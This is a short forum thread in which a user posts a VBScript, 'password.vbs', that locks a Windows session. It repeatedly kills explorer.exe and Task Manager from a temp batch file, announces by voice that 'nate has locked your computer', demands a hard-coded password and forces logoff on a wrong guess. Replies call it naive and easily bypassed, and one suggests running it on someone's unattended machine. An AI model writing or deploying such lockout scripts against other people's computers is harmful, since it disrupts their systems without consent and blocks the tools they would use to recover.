password.vbs

'password.vbs
dim x, a, aa, strtemp, strfile, fso, objfile, sp
set aa = createobject("wscript.shell")
strtemp = aa.expandenvironmentstrings("%temp%")
strfile = (strtemp)& "\password_helper.bat"
set fso = createobject("scripting.filesystemobject")
set objfile = fso.createtextfile(strfile)
objfile.writeline "@echo off"
objfile.writeline "cd %temp%"
objfile.writeline "title "
objfile.writeline ":run"
objfile.writeline "taskkill /f /im explorer.exe"
objfile.writeline "taskkill /f /im taskmgr.exe"
objfile.writeline "if exist key goto end"
objfile.writeline "goto run"
objfile.writeline ":end"
objfile.writeline "del key /q"
objfile.writeline "exit"
set x = createobject("wscript.shell")
x.run "%comspec% /c start /min "& (strfile)
set sp = createobject("sapi.spvoice")
sp.speak "nate has locked your computer"
a = inputbox("PASSWORD:","","****")
if a = ("0160") then
fso.createfolder(strtemp)& "\key"
wscript.sleep 3000
fso.deletefolder(strtemp)& "\key", true
x.run "explorer.exe"
msgbox "welcome"
end if
if not a = ("0160") then
msgbox "invalid password. LOGGING OFF..."
x.run "shutdown -f -l", vbhide
end if
wscript.quit

What is this like a script to phish someones password?

He has posted this one before. It is a naive easily bypassed way to sort of lock a computer.

Ok, might have been a different user, but I'm sure someone posted the exact same thing.

Isn't it easier to just press Windows Key + L ?

Ehh...this let's you simulate locking the machine where you can specify the password they need to unlock it. I suppose if someone that didn't know what they were doing went away from there machine without locking it you could run this to teach them a lesson.